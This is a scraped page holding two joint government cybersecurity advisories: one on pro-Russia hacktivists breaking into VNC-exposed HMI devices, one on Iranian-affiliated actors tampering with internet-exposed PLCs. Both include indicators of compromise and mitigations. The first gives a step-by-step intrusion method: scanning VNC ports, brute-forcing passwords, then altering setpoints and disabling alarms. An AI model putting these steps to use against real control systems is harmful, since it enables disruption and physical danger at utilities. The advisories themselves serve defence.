Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.

Sector16

Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.

Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

TTP Overview

Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.

Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.

Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.

Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

  • Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
  • Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
  • Use VNC software to access hosts [T1021.005].
  • Confirm connection to the vulnerable device [T0886].
  • Brute force the password, if required [T1110.003].
  • Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
  • Log the confirmed vulnerable device IP address, port, and password.
  • Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:
    • Modify usernames/passwords [T0892];
    • Modify parameters [T0836];
    • Modify device name [T0892];
    • Modify instrument settings [T0831];
    • Disable alarms [T0878];
    • Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
    • Device restart or shutdown [T0816].
  • Disconnect from the device, ending the VNC connection.
  • Research the compromised device company after the intrusion [T1591].

Propagation

To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.

Reconnaissance and Initial Access

The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.

Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.

Impact

While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.

Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.

MITRE ATT&CK Tactics and Techniques

See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 1. Reconnaissance
Technique Title ID Use
Gather Victim Organization Information T1591 Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning T1595.002 Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.
Table 2. Resource Development
Technique Title ID Use
Acquire Infrastructure: Virtual Private Server T1583.003 Threat actors use virtual infrastructure to obfuscate identifiers.
Table 3. Initial Access
Technique Title ID Use
Internet Accessible Device T0883 Threat actors gain access through less secure HMI devices exposed to the internet.
Table 4. Persistence
Technique Title ID Use
Valid Accounts T0859 Threat actors use password guessing tools to access legitimate accounts on the HMI devices.
Table 5. Credential Access
Technique Title ID Use
Brute Force: Password Spraying T1110.003 Threat actors use tools to rapidly guess common or simple passwords.
Table 6. Lateral Movement
Technique Title ID Use
Default Credentials T0812 Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services T0886 Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC T1021.005 Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.
Table 7. Execution
Technique Title ID Use
Graphical User Interface T0823 Threat actors interact with HMI devices via GUIs, attempting to modify control devices.
Table 8. Inhibit Response Function
Technique Title ID Use
Device Restart/Shutdown T0816 While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression T0878 Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential T0892 Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.
Table 9. Impair Process Control
Technique Title ID Use
Modify Parameter T0836 Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message T0855 Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.
Table 10. Impact
Technique Title ID Use
Loss of Productivity and Revenue T0828 Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View T0829 Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 
Manipulation of Control T0831 Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  

Incident Response

If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

  1. Determine which hosts were compromised and isolate them by quarantining or taking them offline.
  2. Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
  3. Reimage compromised hosts.
  4. Provision new account credentials.
  5. Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
  6. Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations

OT Asset Owners and Operators

The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

  • Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].
    • Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
      Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
    • Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
    • Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.
      • Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
      • Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
      • Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
      • Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.
  • Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].
    • Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
      • Keep VNC systems updated with the latest version available.
    • Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.
  • Ensure OT assets use robust authentication procedures.
    • Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
    • Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
    • Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
    • Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
    • Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.
  • Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
  • Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
    • Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
    • Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].
  • Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
  • Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
  • Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers

Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

  • Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
  • Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
  • Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
    • Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.
  • Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on secure by design, see CISA’s Secure by Design webpage.

Validate Security Controls

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.

To start:

  1. Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

Additional resources that apply to this advisory include:

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

  • Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
  • For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.

Acknowledgements

Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.

Version History

December 09, 2025: Initial version.

Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups

For further information on targeting methodologies for pro-Russia hacktivist groups, see:

Appendix B: Additional Designators Used for Cited Groups

The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.

Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

  • GRU military unit 74455
    • Sandworm Team
    • Voodoo Bear
    • Seashell Blizzard
    • APT44
  • Cyber Army of Russia Reborn (CARR)
    • CyberArmy of Russia
    • Народная CyberАрмия (НКА)
    • People’s CyberArmy of Russia (PCA)
    • Russian CyberArmy Team (RCAT)
  • NoName057(16)
    • NoName057(16) Spain
    • NoName057(16) Italy
    • NoName057(16) France
  • Z-Pentest
    • Z-Pentest Beograd
    • Z-Pentest Alliance
    • Z-Alliance
]]> <![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]> https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/ https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/ Sat, 25 Jul 2026 09:12:34 +0200 🕵️ Sicherheitslücken tsecurity.de Advisory at a Glance
Title Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication April 7, 2026
Last Update  July 22, 2026
Executive Summary The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.
Last Update Description This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.
Affected Products Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.
Key Actions
  • Install PLCs consistent with manufacturers' guidelines and security best practices.
  • Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.
  • Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including 44818, 2222, 102, and 502, especially traffic originating from foreign hosting providers.
  • For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.
Indicators of Compromise

For a downloadable copy of July 22, 2026 IOCs, see:

For a downloadable copy of historical April 7, 2026 IOCs, see:
Intended Audience

Organizations: Critical Infrastructure

Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy 

Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Introduction

Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files1 and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.

The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).

Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.

If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.

For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.

Download the PDF version of this report:

Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure (PDF, 1.09 MB )

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

For a downloadable copy of historical April 7, 2026 IOCs, see:

AA26-097A.stix_.xml (XML, 35.97 KB )
AA26-097A.stix_.json (JSON, 11.87 KB )

Background Information

Similar Historical Activity Targeting Programmable Logic Controllers

During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.

For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.

Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers

The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.

(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.

Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

  • Rockwell Automation: CompactLogix and Micro850 PLCs
  • Schneider Electric: BMX P34/Modicon M340 PLCs
  • Siemens: S7-1200 series PLCs

Command and Control

(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].

Exfiltration

(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].

Impact

(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.

Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.

Indicators of Compromise

See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.

Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise (New, July 22, 2026)
Indicator Beginning of Actor Association End of Actor Association
185.82.73[.]175 September 2025 February 2026
141.11.164[.]153 January 2026 June 2026
175.110.121[.]42 February 2026 March 2026
175.110.121[.]39 February 2026 March 2026
175.110.121[.]41 February 2026 March 2026
175.110.121[.]107 February 2026 February 2026
192.142.54[.]79 May 2026 June 2026
84.200.205[.]165 May 2026 June 2026
185.225.17[.]225 June 2026 July 2026
79.133.46[.]209 July 2026 July 2026
88.80.150[.]199 July 2026 July 2026
88.80.150[.]200 July 2026 July 2026
88.80.150[.]202 July 2026 July 2026
Table 2. Indicators of Compromise 
Indicator Beginning of Actor Association End of Actor Association
185.82.73[.]162 January 2025 March 2026
185.82.73[.]164 January 2025 March 2026
185.82.73[.]165 January 2025 March 2026
185.82.73[.]167 January 2025 March 2026
185.82.73[.]168 January 2025 March 2026
185.82.73[.]170 January 2025 March 2026
185.82.73[.]171 January 2025 March 2026
135.136.1[.]133 March 2026 March 2026

MITRE ATT&CK Tactics and Techniques

See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3. Initial Access
Technique Title ID Use
Internet Accessible Device T0883 The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.

 

Table 4. Command and Control
Technique Title ID Use
Commonly Used Port T0885 The actors leveraged commonly used OT ports to communicate with PLCs.
Remote Access Tools  T1219 The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port 22.
Table 5. Exfiltration (New, July 22, 2026)
Technique Title ID Use
Exfiltration Over C2 Channel T1041 The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.
Table 6. Impact
Technique Title ID Use
Data Manipulation T1565 The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.

Mitigations

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Network Defenders

The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.

(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

  • Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.
    • Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.
  • Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
  • Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.

Immediate steps to prevent the attack:

  • Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.
    • Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
    • Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
